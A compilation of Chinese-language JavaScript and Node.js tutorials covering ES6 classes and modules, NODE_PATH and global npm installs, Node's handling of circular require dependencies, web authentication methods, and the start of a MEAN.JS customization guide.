EcmaScript 2015 （又称ES6）通过一些新的关键字，使类成为了JS中一个新的一等公民。但是目前为止，这些关于类的新关键字仅仅是建立在旧的原型系统上的
语法糖，所以它们并没有带来任何的新特性。不过，它使代码的可读性变得更高，并且为今后版本里更多面向对象的新特性打下了基础。

这样做的原因是为了保证向后兼容性。也就是，旧代码可以在不做任何hack的情况下，与新代码同时运行。

定义类

让我们回想一下在ES5中定义一个类的方式。通过不是很常用的Object.defineProperty方法，我可以定义一些只读的属性。

function Vehicle(make, year) {
  Object.defineProperty(this, 'make', {
    get: function() { return make; }
  });

  Object.defineProperty(this, 'year', {
    get: function() { return year; }
  });
}

Vehicle.prototype.toString = function() {
  return this.make + ' ' + this.year;
}

var vehicle = new Vehicle('Toyota Corolla', 2009);

console.log(vehicle.make); // Toyota Corolla
vehicle.make = 'Ford Mustang';
console.log(vehicle.toString()) // Toyota Corolla 2009

很简单，我们定义了一个有两个只读属性和一个自定义toString方法的Vehicle类。让我们在ES6中来做一样的事情：

class Vehicle {
  constructor(make, year) {
    this._make = make;
    this._year = year;
  }

  get make() {
    return this._make;
  }

  get year() {
    return this._year;
  }

  toString() {
    return `${this.make} ${this.year}`;
  }
}

var vehicle = new Vehicle('Toyota Corolla', 2009);

console.log(vehicle.make); // Toyota Corolla
vehicle.make = 'Ford Mustang';
console.log(vehicle.toString()) // Toyota Corolla 2009

上面两个例子中定义的类有一个不同的地方。我们为了享受新的get语法带来的好处，所以只是将make和year定义成了普通的属性。这使它们可以被外部所改变。如果你确实需要一个严格的私有属性，还是请继续使用defineProperty。

类声明

在ES6中，有两个声明类的方式。第一种方法叫作 类声明，这也是我们在上述例子中使用的方式。

class Vehicle() {
}

有一个需要注意的地方是，类声明与函数声明不同，它不会被提升（hoisted）。例如，以下的代码工作正常：

console.log(helloWorld());

function helloWorld() {
  return "Hello World";
}

但是，以下代码会抛出一个异常：

var vehicle = new Vehicle();

class Vehicle() {
}

类表达式

另一个定义类的方式叫做 类表达式。它与函数表达式的运行方式完全一样。一个类表达式可以是具名的也可以是匿名的。

var Vehicle = class {
}

var Vehicle = class VehicleClass {
  constructor() {
    // VehicleClass is only available inside the class itself
  }
}

console.log(VehicleClass); // throws an exception

静态方法

static关键字是ES6的另一个语法糖，它使静态方法声明也成为了一个一等公民。在ES5中，静态方法就像是构造函数的一个属性。

function Vehicle() {
  // ...
}

Vehicle.compare = function(a, b) {
  // ...
}

在使用了新的static关键字后：

class Vehicle {
  static compare(a, b) {
    // ...
  }
}

在底层，JavaScript所做的，也只是将这个方法添加为Vehicle构造函数的一个属性。值得注意的是，你也可以用同样的语法为类添加静态属性。

类继承

旧的原型继承有时看起来让人非常头疼。ES6中新的extends关键字解决了这个问题。在ES5，我们是这么做的：

function Motorcycle(make, year) {
  Vehicle.apply(this, [make, year]);
}

Motorcycle.prototype = Object.create(Vehicle.prototype, {
  toString: function() {
    return 'Motorcycle ' + this.make + ' ' + this.year;
  }
});

Motorcycle.prototype.constructor = Motorcycle;

使用的新的extends关键字，看上去就清晰多了：

class Motorcycle extends Vehicle {
  constructor(make, year) {
    super(make, year);
  }

  toString() {
    return `Motorcycle ${this.make} ${this.year}`;
  }
}

super关键字也可以用于静态方法：

class Vehicle {
  static compare(a, b) {
    // ...
  }
}

class Motorcycle {
  static compare(a, b) {
    if (super.compare(a, b)) {
      // ...
    }
  }
}

super关键字

上一个例子也展示了新的super关键字的用法。当你想要调用父类的函数时，这个关键字就显得十分好用。

在想要调用父类的构造函数时，你可以简单地将super关键字视作一个函数使用，如super(make, year)。对于父类的其他函数，你可以将super视作一个对象，如super.toString()。例子：

class Motorcycle extends Vehicle {
  toString() {
    return 'Motorcycle ' + super.toString();
  }
}

可被计算的方法名

当在class中声明属性时，定义属性名时，你可以使用表达式。这个语法特性在一些ORM类库中将会非常流行。例子：

function createInterface(name) {
  return class {
    ['findBy' + name]() {
      return 'Found by ' + name;
    }
  }
}

const Interface = createInterface('Email');
const instance = new Interface();

console.log(instance.findByEmail());

最后

在当前，使用class关键字来声明类，而不使用原型，获得的仅仅是语法上的优势。但是，这个是一个适应新语法和新实践的好开始。JavaScript每天都在变得更好，并且通过class关键字，可以使各种工具更好得帮助你。

原文地址

https://strongloop.com/strongblog/an-introduction-to-javascript-es6-classes/
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在使用 nodejs 开发中我们都免不了要去安装一些第三方模块。


那么你或多或少的遇到过以下一些问题


再继续阅读之前，我们先来弄清楚一个概念。


npm install --global xxx 属于全局安装
npm install xxx 属于本地安装


安装的模块太多项目太臃肿，模块没能复用


你写一个项目 A 需要安装一个 express 模块，又开发一个项目 B 又需要安装一个 express 模块


项目中依赖包太多，文件过多，模块没法复用，各种问题浮现


由于 安装的依赖包过多(而且依赖包嵌套依赖包)，如果一个项目依赖多的话，（比如依赖 gulp 系列 或 grunt 系列的项目构模块）那么一个项目可以说轻轻松松上百兆。如果想给想项目更换一个目录，都发现是痴心妄想了。(基本都是1-10KB的小文本文件组成了一个100多MB的项目，那得有多少个文件啊！想想如果像java那样，模块都是以jar包存在的压缩归档文件可能也好一点)。更别提部署了。


其实这里面的代码也就是 几十KB到1兆 是我们自己写的代码。这些文件想实现 复制，移动，部署是很方面的。


给部署带来的困扰


如果你部署过 node 项目到远程服务器，node_modules 目录的上传将是一件恐怖的事情


NODE_PATH 出现，模块复用，最佳实践方案


NODE_PATH 是干什么的呢？

操作系统中都会有一个PATH环境变量，想必大家都知道，当系统调用一个命令的时候，就会在PATH变量中注册的路径中寻找，如果注册的路径中有就调用，否则就提示命令没找到。


bash-> export PATH=$PATH: # 将 /usr/bin 追加到 PATH 变量中
-> export NODE_PATH="/usr/lib/node_modules;/usr/local/lib/node_modules" #指定 NODE_PATH 变量



那 NODE_PATH 就是NODE中用来寻找模块所提供的路径注册环境变量。我们可以使用上面的方法指定NODE_PATH环境变量。并且用;分割多个不同的目录。


加载时机


关于 node 的包加载机制我就不在这里废话了。NODE_PATH中的路径被遍历是发生在

从项目的根位置递归搜寻 node_modules 目录，直到文件系统根目录的 node_modules，如果还没有查找到指定模块的话，就会去 NODE_PATH中注册的路径中查找。


解决问题


基于 nodejs 的包加载路径搜索算法，我们可以 采用全局安装的方式，将我们的包安装到全局。

这样，我们的项目就可以共享全局中的依赖包。


了解全局


npm root -g 查看在你的系统中全局的路径。

我们也可以通过
npm config ls -l | grep prefix (*nix) 系统中

或是
npm config get prefix

来查看全局路径。

是的 prefix 字段就是全局base path


怎么设置全局路径呢？


# in *nix
npm config set prefix /path/to/global

# in windows
npm config set prefix C:\\Users\\pc\\global



求同存异，解决模块版本问题


差异性的解决方法


如果 项目A 使用了，express的3.x版本，项目B 使用了 express的4.x版本，那这种情况该怎么办呢？


可以将 NODE_PATH 指定的位置中存放 express的4.x版本，再将 项目B的 node_modules 目录中放置 3.x 版本。


这样就解决了模块版本差异性问题。


所以说，两种安装方式我们并不是只是用其中的一种，他们可以结合使用，根据 nodejs 的包加载机制，我们可以灵活使用。


部署不再是问题


在部署之前，我们可以将我们项目的所有可以全局安装的模块，都以全局的安装方式安装到服务器中。接下来我们就可以轻松，上传我们的项目到服务器中了。这样上传也会变得的很快。


然后配置我们的 NODE_PATH 环境变量。怎么配置上面也谈过，这里就不用多说了。(因为项目的部署方式多种多样，所以具体情况可以自行决定。)


本人是使用 PM2 部署管理Nodejs项目，所以我写在 配置文件中。


带来的问题


是的这种方式也有缺点。因为在使用 --global 参数的时候 --save 或 --save-dev参数是无效的。

这样就带来一个问题。此时 package.json 中的 dependencies, devDependencies 将无法享受到npm自动更新带来的便利，不使用 dependencies, devDependencies 字段对我们的项目管理来说是不可接受的。


如何解决


我有一个不是很优雅地解决方法，但是也算是解决了这个问题，希望有更好解决办法的同学给我留言。

我写了一个小工具(npmafter)，它的使用方法很简单， 它是跨平台的。兼容(Mac,Windows,Linux)。(我没有发布到github上，因为感觉会有更好的办法)


$ npm install -g http://yinchangsheng-blog.qiniudn.com/blog/nodejs/npmafter.tgz # install
# 然后我们安装任何模块就可以这样
$ npm install express -g | npmafter
$ npm install request q -g | npmafter --save
$ npm install mocha chai -g | npmafter --save-dev



是的 package.json 文件就会得到更新。

好的，如果你不纠结这个问题那么这个问题就算是解决了。


使用 NODE_PATH 可以很好的解决项目开发部署的问题。
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我们在写node的时候有可能会遇到循环依赖的情况，什么是循环依赖，怎么避免或解决循环依赖问题？

先看一段官网给出的循环依赖的代码:

a.js:

console.log('a starting'); 
exports.done = false;
var b = require('./b.js'); // ---> 1
console.log('in a, b.done = %j', b.done);
exports.done = true;
console.log('a done') // ---> 4

b.js:

console.log('b starting'); 
exports.done = false;
var a = require('./a.js');  // ---> 2
// console.log(a);  ---> {done:false}
console.log('in b, a.done = %j', a.done); // ---> 3
exports.done = true;
console.log('b done');

main.js:

console.log('main starting'); 
var a = require('./a.js'); // --> 0
var b = require('./b.js');
console.log('in main, a.done=%j, b.done=%j', a.done, b.done);

如果我们启动 main.js 会出现什么情况？ 在 a.js 中加载 b.js，然后在b.js中加载 a.js，然后再在 a.js中加载 b.js 吗？这样就会造成循环依赖死循环。

让我们执行看看：

$ node main.js

main starting
a starting
b starting
in b, a.done = false
b done
in a, b.done = true
a done
in main, a.done=true, b.done=true


可以看到程序并没有陷入死循环，从上面的执行结果可以看到 main.js 中先require了 a.js ，a.js 中执行完了console和export.done=fasle之后，转而去加载b.js，待b.js被load完之后，再返回a.js中执行完剩下的代码。

我在官网的代码基础上增加了一些注释，基本 load 顺序就是按照这个0-->1-->2-->3-->4的顺序去执行的，然后在第二步下面我打印出了require('./a')的结果，可以看到是{done:false}，可以猜测在b.js中require('./a')的结果是a.js中已经执行到的exports出的值。

上面所说的还只是基于结果基础上的猜测，没有什么说服力，为了验证我的猜测是正确的，我把 Node 的源码稍微翻看了一些，C++ 的代码看不懂没关系，能看懂 JS 的部分就可以了，下面就是 Node 源码的分析（主要是 module 的分析， Node 源码在此）：

将会分析的主要源码：


	node/src/node.js


	node/lib/module.js




启动 $ node main.js

C++ 的代码我看不懂，总而言之，在我查了资料之后知道当我们在shell中输入node main.js之后，会先执行 node/src/node.cc，然后会执行 node/src/node.js， 所以C++代码不分析，从分析 node/src/node.js 开始（只会分析和主题相关的代码）。

node.js 源码分析

node.js文件主要结构为


(function(process) {

    this.global = this
    
    function startup() {
      ...
    }
    
    startup()

})


这种闭包代码很常见，从名字可以看出，此处为启动文件。接下来看看 startup 函数中有一大块条件语句，我删除大多数无关代码，如下：

if (process.argv[1]) {
     // ...
    
    var Module = NativeModule.require('module');
    Module.runMain();
}


我把无关的代码基本都删除了。可以看到这段代码主要做的事是先通过 Native 引入module模块，执行 Module.runMain()。

很多人都知道 require 核心代码，如 require('path')，不需要写全路径，Node 是怎样做到的呢？


Node 采用了 V8 附带的 js2c.py 工具，将所有内置的 JavasSript 代码( src/node.js 和 lib/*.js) 转成 c++ 里面的数组生成 node_navtives.h 头文件。 
在这个过程中， JavasSript 以字符串的形式存储在 node 命名空间中， 是不可直接执行的。
在启动 Node 进程时， JavaScript 代码直接加载进内存中。

Node 在启动时，会生成一个全局变量 process， 并提供 binding() 方法来协助加载内建模块。



上面大段介绍基本引自朴老师的「深入浅出 Node.js」。大概理解就是在启动命令的时候，Node 会把 node.js 和 lib/*.js 的内容都放到 process 中传入当前闭包中，我们在当前函数就可以通过process.binding('natives')取出来放到 _source 中，如下代码所示：

  function NativeModule(id) {
    this.filename = id + '.js';
    this.id = id;
    this.exports = {};
    this.loaded = false;
  }

  NativeModule._source = process.binding('natives');
  NativeModule._cache = {};

接下来看看NativeModule.require做了哪些事情：

  NativeModule.require = function(id) {
    if (id == 'native_module') {
      return NativeModule;
    }

    var cached = NativeModule.getCached(id);
    if (cached) {
      return cached.exports;
    }

    var nativeModule = new NativeModule(id);

    nativeModule.cache();
    nativeModule.compile();

    return nativeModule.exports;
  };

这上面的代码表明内建模块被缓存，就直接返回内建模块的exports，如果没有的话，就生成一个核心模块的实例，然后先把模块根据id来cache，然后调用nativeModule.compile接口编译源文件：

  NativeModule.getSource = function(id) {
    return NativeModule._source[id];
  };

  NativeModule.wrap = function(script) {
    return NativeModule.wrapper[0] + script + NativeModule.wrapper[1];
  };

  NativeModule.wrapper = [
    '(function (exports, require, module, __filename, __dirname) {\n',
    '\n});'
  ];

  NativeModule.prototype.compile = function() {
    var source = NativeModule.getSource(this.id);
    source = NativeModule.wrap(source);

    var fn = runInThisContext(source, {
      filename: this.filename,
      lineOffset: -1
    });
    fn(this.exports, NativeModule.require, this, this.filename);

    this.loaded = true;
  };

  NativeModule.prototype.cache = function() {
    NativeModule._cache[this.id] = this;
  };


cache 是把实例根据 id 放到 _cache 对象中。先从 _source 中取出对应id的源文件字符串，包上一层
(function (exports, require, module, __filename, __dirname) {\n','\n});。比如main.js最终变成如下JS代码的字符串:

(function (exports, require, module, __filename, __dirname) {
 // 如果是main.js
     console.log('main starting'); 
    var a = require('./a.js'); // --> 0
    var b = require('./b.js');
    console.log('in main, a.done=%j, b.done=%j', a.done, b.done);
})


runInThisContext是将被包装后的源字符串转成可执行函数，（runInThisContext来自contextify 模块），runInThisContext的作用，类似eval，再执行这个被eval后的函数，就算被 load 完成了，最后把 load 设为 true。

可以看到fn的实参为 this.exports; NativeModule.require; this; this.filename;。

所以require('module')的作用是加载/lib/module.js文件。让我们再回到 startup 函数，加载完 module.js，紧接着运行 Module.runMain()方法。（估计有人忘了前面的startup函数是干嘛的，我再放一次，省得再拉回去了）

if (process.argv[1]) {
     // ...
    
    var Module = NativeModule.require('module');
    Module.runMain();
}


module.js源码分析

上面走完了NatvieModule的加载代码。再看看module.js是怎样加载用户使用的文件的。

function Module(id, parent) {
  this.id = id;
  this.exports = {};
  this.parent = parent;
  if (parent && parent.children) {
    parent.children.push(this);
  }

  this.filename = null;
  this.loaded = false;
  this.children = [];
}
module.exports = Module;

Module._cache = {};
Module._pathCache = {};
Module._extensions = {};
var modulePaths = [];
Module.globalPaths = [];

Module.wrapper = NativeModule.wrapper;
Module.wrap = NativeModule.wrap;

这是Module的构造函数，Module.wrapper和Module.wrap，是由NativeModule赋值来的，Module._cache是个空对象，存放所有被 load 后的模块 id。

在node.js文件的 startup 函数中，最后一步走到Module.runMain():

Module.runMain = function() {
  // Load the main module--the command line argument.
  Module._load(process.argv[1], null, true);
  // Handle any nextTicks added in the first tick of the program
  process._tickCallback();
};


在runMain方法中调用了_load方法:


Module._load = function(request, parent, isMain) {
  var filename = Module._resolveFilename(request, parent);
  var cachedModule = Module._cache[filename];
  
  if (cachedModule) {
    return cachedModule.exports;
  }

  var module = new Module(filename, parent);
  Module._cache[filename] = module;

  module.load(filename);
  
  return module.exports;
};


上述代码照例我删除了一些不是很相关的代码，从剩下的代码可以看出_load函数的主要干了两件事（还有一件加载NativeModule的代码被我删掉了）:


	先判断当前的源文件有没有被加载过，如果 _cache 对象中存在，直接返回 _cache 中的exports对象


	如果没有被加载过，新建这个源文件的 module 的实例，并存放到 _cache 中，然后调用 load 方法。





Module.prototype.load = function(filename) {
  this.filename = filename;
  this.paths = Module._nodeModulePaths(path.dirname(filename));

  var extension = path.extname(filename) || '.js';
  if (!Module._extensions[extension]) extension = '.js';
  Module._extensions[extension](this, filename);
  this.loaded = true;
};


在load方法中判断源文件的扩展名是什么，默认是'.js'，（我这里也只分析后缀是 .js 的情况），然后调用 Module._extensions[extension]() 方法，并传入 this 和 filename；当extension是'.js'的时候， 调用Module._extensions['.js']() 方法。

// Native extension for .js
Module._extensions['.js'] = function(module, filename) {
  var content = fs.readFileSync(filename, 'utf8');
  module._compile(internalModule.stripBOM(content), filename);
};


这个方法是读到源文件的字符串后，调用module._compile方法。

Module.prototype._compile = function(content, filename) {

  var self = this;

  function require(path) {
    return self.require(path);
  }

  var dirname = path.dirname(filename);
  // create wrapper function
  var wrapper = Module.wrap(content);

  var compiledWrapper = runInThisContext(wrapper,
                                      { filename: filename, lineOffset: -1 });

  var args = [self.exports, require, self, filename, dirname];
  return compiledWrapper.apply(self.exports, args);
};


其实跟NativeModule的_complie做的事情差不多。先把源文件content包装一层(function (exports, require, module, __filename, __dirname) {\n','\n});， 然后通过 runInThisContext  把字符串转成可执行的函数，最后把 
self.exports, require, self, filename, dirname 这几个实参传入可执行函数中。

require 方法为:

Module.prototype.require = function(path) {
  return Module._load(path, this);
};

循环依赖的时候为什么不会无限循环引用

所谓的循环依赖就是在两个不同的文件中互相应用了对方。假设按照最上面官网给出的例子中，

在 main.js 中:


	require('./a.js')；此时会调用 self.require(),
然后会走到module._load，在_load中会判断./a.js是否被load过，当然运行到这里，./a.js还没被 load 过，所以会走完整个load流程，直到_compile。


	运行./a.js，运行到 exports.done = false 的时候，给 esports 增加了一个属性。此时的 exports={done: false}。


	运行require('./b.js')，同 第 1 步。


	运行./b.js，到require('./a.js')。此时走到_load函数的时候发现./a.js已经被load过了，所以会直接从_cache中返回。所以此时./a.js还没有运行完，exports = {done.false}，那么返回的结果就是 in b, a.done = false;


	./b.js全部运行完毕，回到./a.js中，继续向下运行，此时的./b.js的 exports={done:true}， 结果自然是in main, a.done=true, b.done=true




Flag

虽然Node.js通过 cache 解决无限循环引用的问题，但是没有解决循环引用时已加载了模块，而exports没有输出想要的值得问题，听说ES6的import已经完美解决这类问题，所以立个死亡 Flag，等我研究完 import ，再写篇文章分析 import 是怎么解决这个问题的。 为什么是死亡 Flag 呢？每个等我 XXX 的时候，我就 OOO 的事情，最后一定不会做。^_^。


原文地址: GitHub

喜欢的点个推荐吧
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前言

本文将会从最基本的一种web权限验证说起，即HTTP Basic authentication，然后是基于cookies和tokens的权限验证，最后则是signatures和一次性密码。

HTTP Basic authentication

当客户端发起一个请求时，它可以使用HTTP Basic authentication来提供一个用户名和密码，来进行权限验证。

由于它不依赖于cookies，sessions等任何外部因素，所以它是最简单的权限验证方法。在使用它时，客户端需要在每次请求时，都附带上Authorization请求头，用户名和密码都不会被加密，但是需要被格式化为以下结构：


	用户名和密码由一个冒号连接，如username:password


	这个字符串需进行Base64编码


	Basic关键字需被放置在这个编码后的字符串的前面




例子：

curl --header "Authorization: Basic am9objpzZWNyZXQ=" my-website.com  

在Node.js中实现它是非常简单的，以下是一个通过Express中间件来实现的例子：

import basicAuth from 'basic-auth';

function unauthorized(res) {  
  res.set('WWW-Authenticate', 'Basic realm=Authorization Required');
  return res.send(401);
};

export default function auth(req, res, next) {
  const {name, pass} = basicAuth(req) || {};

  if (!name || !pass) {
    return unauthorized(res);
  };

  if (name === 'john' && pass === 'secret') {
    return next();
  }
  return unauthorized(res);
};

当然，你也可以在更高层上实现它，如nginx。

HTTP Basic authentication虽然十分简单，但仍有一些需要注意的地方：


	用户名和密码在每次请求时都会被带上，即使请求是通过安全连接发送的，这也是潜在的可能暴露它们的地方。


	如果网站使用的加密方法十分弱，或者被破解，那么用户名和密码将会马上泄露。


	用户通过这种方式进行验证时，并没有登出的办法


	同样，登陆超时也是没有办法做到的，你只能通过修改用户的密码来模拟。




Cookies

当服务端在响应HTTP请求时，它可以在响应头里加上Set-Cookie头。然后浏览器会将这个cookie保存起来，并在以后请求同源的地址时，在Cookie请求头中附上这些cookie。

当使用cookies来进行权限验证时，有以下几点需要注意。

总是将cookies设为HttpOnly 


当设置cookies时，总是使用HttpOnly标识，这样以来cookies就不能通过document.cookies获取，用以减少被XSS攻击可能性。

总是使用签名(signed) cookies

当使用签名cookies时，服务器则可以判断该cookie是否被客户端更改过。

不足：


	需要花费额外的功夫来抵御CSRF攻击


	与REST风格不匹配。因为它在一个无状态协议里注入了状态。




Tokens

现今，JWT（JSON Web Token）无处不在。让我们先来看看它到底长什么样。

JWT由三部分组成：


	Header，由token的类型和哈希算法组成


	Payload，包含了内容主体


	Signature，当你选择HMAC SHA256算法时，它由HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)计算得出。




将你的Koa应用加上JWT仅需几行代码：

var koa = require('koa');
var jwt = require('koa-jwt');

var app = koa();

app.use(jwt({ 
  secret: 'very-secret' 
}));

// Protected middleware
app.use(function *(){
  // content of the token will be available on this.state.user
  this.body = {
    secret: '42'
  };
});

例子：

curl --header "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" my-website.com  

如果你在写提供给原生移动应用或单页web应用的API，JWT是一个不错的选择。

不足：

	需要额外的措施来防护XSS攻击




Signatures

不论是使用cookies还是token，如果你传输的内容被他人截获，那么它们将可以很容易得伪装成真实的用户。

如果解决这个问题？当我们讨论的是API之间的通信，而不是浏览器之间的通信时，有一个办法。

当API的消费者发送一个需要权限验证的请求时，你可以对整个请求用一个私钥进行哈希。你可以使用的请求的内容有：


	HTTP方法


	请求路径


	HTTP头


	HTTP体


	以及一个私钥




API的消费者和提供者都必须持有相同的私钥。在生成了signature之后，你必须将其加在query string或HTTP头中。另外，还需附上一个时间戳，用于判断过期。

当这么做时，即使你传输的内容暴露了，攻击者也无法伪装成真实用户，因为它无法自己生成signature。

不足：

	不能用于浏览器/客户端中，只能用于API之间的通信中。




一次性密码

一次性密码算法使用一个共享的密钥和一个当前时间戳或计数器来生成一个一次性密码：


	基于时间的一次性密码算法，使用一个当前时间的时间戳


	基于HMAC的一次性密码算法，使用一个计数器




这些方法被用于双重认证（two-factor authentication）中：一个用户输入了用户名和密码，然后服务器和客户端同时生成一个一次性密码。

在Node.js中，使用notp实现它是相对简单的。

不足：

	如果共享密钥被窃取，那么用户的token将可以被伪造




该在何时选择何种验证方法？

如果你只需支持一个web应用，那么cookies和tokens的实现都是可以的（cookies对XSRF的防护较好，而JWT则更易于防护XSS）。

如果你需要同时支持web应用和移动客户端，那么请使用基于token的验证。

如果你正在构建仅与其他API通信的API，那么就使用signatures。

最后

原文链接：https://blog.risingstack.com/web-authentication-methods-explained/
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前言

ECMAScript 2015（又称ES6）提供了一个前端JavaScript缺失已久的特性 —— 模块。ES2015中的模块参考了CommonJS规范（目前Node.js的模块规范）以及AMD规范，并且尽可能的取其精华，去其糟粕：


	它提供了简洁的语法


	以及异步的，可配置的模块加载




这篇文章将会专注于ES2015的模块语法以及注意点。关于模块的加载和打包，将会在另一篇文章中细述。

为什么要使用模块？

目前最普遍的JavaScript运行平台便是浏览器，在浏览器中，所有的代码都运行在同一个全局上下文中。这使得你即使更改应用中的很小一部分，你也要担心可能会产生的命名冲突。

传统的JavaScript应用被分离在多个文件中，并且在构建的时候连接在一起，这稍显笨重。所以人们开始将每个文件内的代码都包在一个自执行函数中：(function() { ... })();。这种方法创建了一个本地作用域，于是最初的模块化的概念产生了。之后的CommonJS和AMD系统中所称的模块，也是由此实现的。

换句话说，现存的“模块”系统是使用已有的语言特性所实现的。而ES2015则通过添加适当的新的语言特性，来使之官方化了。

创建模块

一个JavaScript模块就是一个对其他模块暴露一些内部属性/方法的文件。我们在这里仅会讨论浏览器中的ES2015模块系统，并不会涉及Node.js是如何组织它自身的模块的。一些在创建ES2015模块时需要注意的点：

每个模块都有自己的上下文

和传统的JavaScript不同，在使用模块时，你不必担心污染全局作用域。恰恰相反，你需要把所以你需要用到的东西从其他模块中导入进来。但是，这样也会使模块之间的依赖关系更为清晰。

模块的名字

模块的名字由它的文件名或文件夹名所决定，并且你可以忽略它的.js后缀：


	如果你有一个叫utils.js的文件，那么你可以通过./utils这样的相对路径导入它


	如果你有一个叫./utils/index.js的文件，则你可以通过./utils/index或./utils来导入它。这使得你可以批量导入一个文件夹内的所有模块。




导出和导入

可以使用ES2015的新关键字import和exports来导入或导出模块中的东西。模块可以导入和导出各种类型的变量，如函数，对象，字符串，数字，布尔值，等等。

默认导出

每一个模块都支持导出一个不具名的变量，这称作默认导出：

// hello-world.js
export default function() {}
 
// main.js
import helloWorld from './hello-world';
import anotherFunction from './hello-world';
 
helloWorld();
console.log(helloWorld === anotherFunction);

等价的CommonJS语法：

// hello.js
module.exports = function() {}
 
// main.js
var helloWorld = require('./hello-world');
var anotherFunction = require('./hello-world');
 
helloWorld();
console.log(helloWorld === anotherFunction);

任何的JavaScript值都可以被默认导出：

export default 3.14;
export default {foo: 'bar'};
export default 'hello world';

具名导出

除了默认导出外，ES2015的模块系统还支持导出任意数量个具名的变量：

const PI = 3.14;
const value = 42;
export function helloWorld() {}
export {PI, value};

等价的CommonJS语法：

var PI = 3.14;
var value = 42;
module.exports.helloWorld = function() {}
module.exports.PI = PI;
module.exports.value = value;

你也可以在导出变量时对其重命名：

const value = 42;
export {value as THE_ANSWER};

等价的CommonJS语法：

var value = 42;
module.exports.THE_ANSWER = value;

在导入时，你也可以使用as关键字来重命名导入的变量：

import {value as THE_ANSWER} from './module';

等价的CommonJS语法：

var THE_ANSWER = require('./module'').value;

导入所有

最简单的，在一条命令中导入一个模块中所有变量的方法，是使用*标记。这样一来，被导入模块中所有导出的变量都会变成它的属性，默认导出的变量则会被置于default属性中。

// module.js
export default 3.14;
export const table = {foo: 'bar'};
export function hello() {};
 
// main.js
import * as module from './module';
console.log(module.default);
console.log(module.table);
console.log(module.hello());

等价的CommonJS语法：

// module.js
module.exports.default = 3.14;
module.exports.table = {foo: 'bar'};
module.exports.hello = function () {};
 
// main.js
var module = require('./module');
console.log(module.default);
console.log(module.table);
console.log(module.hello());

值得再强调的是，import * as foo from和import foo from的区别。后者仅仅会导入默认导出的变量，而前者则会在一个对象中导入所有。

导出所有

一个可能的需求是，你需要将另一个模块中的一些（或所有）值在你的模块中再次导出，这被称作二次导出（re-exporting）。值得注意的是，你可以二次导出许多同名的值，这将不会导致异常，而是最后一个被导出的值将会获得胜利。

// module.js
const PI = 3.14;
const value = 42;
export const table = {foo: 'bar'};
export function hello() {};
 
// main.js
export * from './module';
export {hello} from './module';
export {hello as foo} from './module';

等价的CommonJS语法：

// module.js
module.exports.table = {foo: 'bar'};
module.exports.hello = function () {};
 
// main.js
module.exports = require('./module');
module.exports.hello = require('./module').hello;
module.exports.foo = require('./module').hello;

注意点

一个关键点时，导入模块的东西，并不是一个引用或一个值，而是一个类似与被导入模块内部的一个getter对象。所以这可能会导致一些不符合预期的行为。

缺乏异常

在具名地导入其他模块的变量时，如果你不小心打错了变量名，这将不会抛出异常，而是导入的值将会变成undefined。

// module.js
export const value = 42;
 
// main.js
import {valu} from './module'; // no errors
console.log(valu); // undefined

可变的基本类型值

在导入一些基本类型的值（如数字，布尔值或字符串）时，可能会产生一个有趣的副作用。这些值可能会在模块外被修改。例子：

// module.js
export let count = 0;
 
export function inc() { 
  count++;
}
 
// main.js
import {count, inc} from './module'; // `count` is a `Number` variable
 
assert.equal(count, 0);
inc();
assert.equal(count, 1);

上面的例子中，count变量是一个数值类型，它在main模块中被修改了值。

导入的变量是只读的

不论你以何种声明导出变量，它们都是只读的。但是，如果导出的是对象，你可以改变变量的属性。

// module.js
export let count = 0;
export const table = {foo: 'bar'};
 
// main.js
import {count, table} from './module;
 
table.foo = 'Bar'; // OK
count++; // read-only error

测试模块

如果想要测试，或mock被导出的变量，很不幸，这在新的ES2015模块系统中是办不到的。因为与CommonJS一样，导出的变量在外面不能被重新赋值。唯一的解决办法是，导出一个单独的对象。

// module.js
export default {
  value: 42,
  print: () =&gt; console.log(this.value)
}
 
// module-test.js
import m from './module';
m.value = 10;
m.print(); // 10

最后

ES2015的模块标准化了模块的加载和解析方式。CommonJS和AMD之间的争论终于被解决了。

我们得到了更简洁的模块语法，以及静态的模块定义，这有助于编译器的优化，甚至是类型检查。

原文链接：https://strongloop.com/strongblog/an-introduction-to-javascript-es6-modules/
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您现在已经了解了 MEAN 应用程序的机制，接下来我们将对第一期文章中创建的 MEAN.JS应用程序进行定制。我们在第二期文章中对该应用程序有了一个大致的了解。在第三期文章中，我将演示该应用程序的基本 CRUD功能。您还会了解一些有关响应式 Web 设计和 Bootstrap 的内容。


本系列其余部分将要构建的应用程序被命名为 UGLI：User Group List and Information 应用程序。我从 2010年开始运营 HTML5 Denver User Group（前身是 Boulder Java User Group，更早以前是 Denver Java UserGroup），因此我是本地用户组的狂热粉丝，但是让我不解的是一直没有专门的软件来运行用户组。现在我们就要解决这个问题了。


许多用户组都在 Meetup.com 建立了一个在线主页。我使用 MEAN 和UGLI 应用程序的目标并不是要取代 Meetup.com；相反，我想与它建立更深入的集成。Meetup.com集中了运行成功的用户组所需的大部分核心功能；注册新用户，发布会议细节、处理 RSVP等等。但是对于用户组领导者来说仍然缺失一些关键功能，包括管理一组会议主持人（presenter）并链接到幻灯片（slide deck）。UGLI可以填补这方面的空缺。（参见 下载 获得完整的样例代码）。


调整标记


创建应用程序 UGLI 的第一个任务就是调整应用程序的标记（branding）。需要在应用程序的服务器端对 config 和 app 目录做一些修改；另外要对客户端的 public 目录做一些修改。


首先从 config/env/all.js 中的元数据开始。将标题修改为 HTML5 Denver（或您选择的用户组），并将描述修改为 HTML5 Denver User Group，如清单 1 所示。


清单 1. config/env/all.js


'use strict';

module.exports = {
    app: {
        title: 'HTML5 Denver',
        description: 'HTML5 Denver User Group',
        keywords: 'MongoDB, Express, AngularJS, Node.js'
    },



config/env/development.js 中的标题也需要修改，如清单 2 所示。上篇文章中我们已经了解到 development.js 和 all.js 会在运行时合并。


清单 2. config/env/development.js


'use strict';

module.exports = {
    db: 'mongodb://localhost/test-dev',
    app: {
        title: 'HTML5 Denver'
    },



接下来，修改导航栏左上角显示的品牌。为此，需要编辑

public/modules/core/views/header.client.view.html。在大概第 9 列的地方找到 anchor 标记和 navbar-brand 类，将 body 修改为 HTML5 Denver，如清单 3 所示。


清单 3. public/modules/core/views/header.client.view.html


<div class="container" data-ng-controller="HeaderController">
    <div class="navbar-header">
